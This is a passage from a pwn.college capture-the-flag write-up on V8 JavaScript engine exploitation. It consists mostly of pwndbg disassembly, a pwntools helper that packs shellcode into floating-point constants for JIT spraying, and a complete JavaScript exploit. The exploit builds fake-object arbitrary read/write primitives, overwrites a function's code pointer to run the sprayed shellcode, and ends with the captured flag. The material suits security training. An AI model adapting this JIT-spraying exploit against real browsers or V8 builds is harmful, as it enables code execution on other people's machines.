pwndbg> x/10i 0x00005af6d7c80800
2
   0x5af6d7c80800:      mov    ebx,DWORD PTR [rcx-0xc]
3
   0x5af6d7c80803:      add    rbx,r14
4
   0x5af6d7c80806:      test   BYTE PTR [rbx+0x1e],0x20
5
   0x5af6d7c8080a:      jne    0x5af6fc5cae00 <Builtins_CompileLazyDeoptimizedCode>
6
   0x5af6d7c80810:      movabs r9,0x3926001d3f99
7
   0x5af6d7c8081a:      test   BYTE PTR [r9+0xd],0x2e
8
   0x5af6d7c8081f:      jne    0x5af6fc5ca8c0 <Builtins_MaglevOptimizeCodeOrTailCallOptimizedCodeSlot>
9
   0x5af6d7c80825:      push   rbp
10
   0x5af6d7c80826:      mov    rbp,rsp
11
   0x5af6d7c80829:      push   rsi
12
pwndbg>
13
   0x5af6d7c8082a:      push   rdi
14
   0x5af6d7c8082b:      push   rax
15
   0x5af6d7c8082c:      cmp    rsp,QWORD PTR [r13-0x60]
16
   0x5af6d7c80830:      jae    0x5af6d7c8083c
17
   0x5af6d7c80832:      mov    eax,0x1b0
18
   0x5af6d7c80837:      call   0x5af6fc5ca840 <Builtins_MaglevFunctionEntryStackCheck_WithoutNewTarget>
19
   0x5af6d7c8083c:      mov    rdi,QWORD PTR [r13+0x48]
20
   0x5af6d7c80840:      lea    r10,[rdi+0x28]
21
   0x5af6d7c80844:      cmp    r10,QWORD PTR [r13+0x50]
22
   0x5af6d7c80848:      jae    0x5af6d7c808e8
23
pwndbg>
24
   0x5af6d7c8084e:      mov    QWORD PTR [r13+0x48],r10
25
   0x5af6d7c80852:      add    rdi,0x1
26
   0x5af6d7c80856:      mov    rax,rdi
27
   0x5af6d7c80859:      mov    ecx,0x8a9
28
   0x5af6d7c8085e:      mov    DWORD PTR [rdi-0x1],ecx
29
   0x5af6d7c80861:      mov    ecx,0x4
30
   0x5af6d7c80866:      mov    DWORD PTR [rdi+0x3],ecx
31
   0x5af6d7c80869:      movabs r10,0x4141414141414141
32
   0x5af6d7c80873:      vmovq  xmm0,r10
33
   0x5af6d7c80878:      vmovsd QWORD PTR [rdi+0x7],xmm0

You can see that, the value 0x4141414141414141 (from our shellcode) is being stored at r10, so at that instruction address 0x5af6d7c80869, if we add 2, we get the start of our shellcode: 0x5af6d7c8086b.

1
pwndbg> x/10xg 0x5af6d7c80869+2
2
0x5af6d7c8086b: 0x4141414141414141      0x11fbc5c26ef9c1c4
3
0x5af6d7c8087b: 0x42424242ba490747      0x6ef9c1c442424242
4
0x5af6d7c8088b: 0x8d480f4711fbc5c2      0xfa8b48c78b481850
5
0x5af6d7c8089b: 0xff5f89001cb8a5bb      0x89000007259e8d49
6
0x5af6d7c808ab: 0x0b4a89074289035a      0x4917408bf0458b48

We notice that the value have some distance between them, so that we need to create a shellcode that jump to the next 8 bytes of shellcode

1
pwndbg> x/10xg 0x5af6d7c80869+2
2
0x5af6d7c8086b: 0x4141414141414141      0x11fbc5c26ef9c1c4
3
0x5af6d7c8087b: 0x42424242ba490747      0x6ef9c1c442424242
4
0x5af6d7c8088b: 0x8d480f4711fbc5c2      0xfa8b48c78b481850
5
0x5af6d7c8089b: 0xff5f89001cb8a5bb      0x89000007259e8d49
6
0x5af6d7c808ab: 0x0b4a89074289035a      0x4917408bf0458b48
7
pwndbg> x/10xg 0x5af6d7c80869+2 + 6
8
0x5af6d7c80871: 0xc5c26ef9c1c44141      0x4242ba49074711fb
9
0x5af6d7c80881: 0xc1c4424242424242      0x0f4711fbc5c26ef9
10
0x5af6d7c80891: 0x48c78b4818508d48      0x89001cb8a5bbfa8b
11
0x5af6d7c808a1: 0x0007259e8d49ff5f      0x89074289035a8900
12
0x5af6d7c808b1: 0x408bf0458b480b4a      0x04076883c6034917
13
pwndbg> x/10xg 0x5af6d7c80869+2 + 6 + 14
14
0x5af6d7c8087f: 0x4242424242424242      0x11fbc5c26ef9c1c4
15
0x5af6d7c8088f: 0x8b4818508d480f47      0x1cb8a5bbfa8b48c7
16
0x5af6d7c8089f: 0x259e8d49ff5f8900      0x4289035a89000007
17
0x5af6d7c808af: 0xf0458b480b4a8907      0x6883c6034917408b
18
0x5af6d7c808bf: 0x000000348c0f0407      0x48e8458b4cc28b48

We see that the distance between each 8 bytes of shellcode is 14 (0xe), and we have 6 bytes for shellcode and 2 bytes for the jump instruction. You can use this python script to generate your own shellcode:

1
from pwn import *
2

3
context.arch = "amd64"
4
jmp = b'\xeb\x0c'
5

6
#print(disasm(jmp))
7

8
def print_double(shellcode):
9
    if len(shellcode) <= 6:
10
        chain = shellcode.ljust(6,b'\x90')
11
        chain += jmp
12
        print(f"itof({hex(u64(chain))}n);")
13
    else:
14
        print("max 6 bytes only")
15
        exit()

That python will check if your shellcode is less than 6 bytes, then it will pad it with NOPs and add the jump instruction at the end, then print it in the format that we can use in our JS exploit.

Full Exploit

Finally, we can put everything together:

1
var buf = new ArrayBuffer(8);
2
var f64_buf = new Float64Array(buf);
3
var u64_buf = new Uint32Array(buf);
4

5
function ftoi(val) {
6
    f64_buf[0] = val;
7
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
8
}
9

10
function itof(val) {
11
    u64_buf[0] = Number(val & 0xffffffffn);
12
    u64_buf[1] = Number(val >> 32n);
13
    return f64_buf[0];
14
}
15

16
const logInfo = (m) => console.log(`[*] ${m}`);
17
const logOK   = (m) => console.log(`[+] ${m}`);
18
const logErr  = (m) => console.log(`[-] ${m}`);
19

20
function toHex(i) {
21
    return "0x" + i.toString(16).padStart(8, "0");
22
}
23

24
function assert(c, m="assert") {
25
  if (c) return;
26
  let at = "";
27
  try { at = ((new Error()).stack || "").split("\n")[2].trim(); } catch {}
28
  const e = new Error(`[ASSERT] ${m}` + (at ? `\n  at ${at}` : ""));
29
  if (Error.captureStackTrace) Error.captureStackTrace(e, assert);
30
  throw e;
31
}
32

33
let float_arr = [1.1, 2.2, 3.3];
34
// First we construct a fake map in memory
35
// Remember that the first 4 WORDS (0x10 bytes || WORDS = 4 bytes in this case we
36
// work with 32-bits address) of one object look like this:
37
// map | properties | elements | length
38
let fake_map = [itof(0x123456789abcdefn), 1.1, 1.1, 1.1];
39
let fake_map_addr = GetAddressOf(fake_map);
40
// Address of the content of the fake map
41
// So that we can use GetFakeObject on it to create a fake object
42
let element_addr = fake_map_addr - 0x20;
43
// Write a fake map pointer at the start of our float array
44
fake_map[0] = itof(0x1cb8a5n);
45

46
function arbRead(addr) {
47
    addr = BigInt(addr);
48

49
    if (addr % 2n == 0n) {
50
        addr += 1n;
51
    }
52

53
    fake_map[1] = itof(0x600000000n + (addr - 8n));
54
    let fake_obj = GetFakeObject(element_addr);
55
    return ftoi(fake_obj[0]);
56
}
57

58
function arbWrite(addr, val) {
59
    addr = BigInt(addr);
60
    val  = BigInt(val);
61

62
    if (addr % 2n == 0n) {
63
        addr += 1n;
64
    }
65

66
    fake_map[1] = itof(0x600000000n + (addr - 8n));
67
    let fake_obj = GetFakeObject(element_addr);
68
    fake_obj[0] = itof(val);
69
}
70

71
// execve("catflag", NULL, NULL)
72
const shellcode = () => {
73
    return [
74
        1.9995716422075807e-246,
75
        1.9710255944286777e-246,
76
        1.97118242283721e-246,
77
        1.971136949489835e-246,
78
        1.9711826272869888e-246,
79
        1.9711829003383248e-246,
80
        -9.254983612527998e+61,
81
    ];
82
};
83

84
for(let i = 0; i< 10000; i++)
85
{
86
    shellcode();
87
}
88

89
let shellcode_addr = GetAddressOf(shellcode);
90
logOK("Shellcode addr: " + toHex(shellcode_addr));
91

92
// %DebugPrint(shellcode);
93

94
let code_ptr = arbRead(shellcode_addr + 0xc) & 0xffffffffn;
95
logOK("code ptr: " + toHex(code_ptr));
96

97
let rwx_addr = arbRead(code_ptr + 0x14n);
98
logOK("rwx addr: " + toHex(rwx_addr));
99

100
let shellcode_start = rwx_addr + 0x69n + 2n;
101
logInfo("shellcode addr: " + toHex(shellcode_start));
102

103
arbWrite(code_ptr + 0x14n, shellcode_start);
104

105
// %SystemBreak();
106
shellcode();
107
// pwn.college{oF_cxWWy2Mn81r-l_Ad8Z7fYoM_.dZTO3UDL1MTNzYzW}

[PWN COLELGE] - V8 Exploitation Part 1

Building V8

Level 1

Patch Analysis

Exploit

Level 2

Patch Analysis

Exploit

Level 3

Patch Analysis

Exploit

Arbitrary Read/Write Primitive

JIT-Spraying

Full Exploit

Further Reading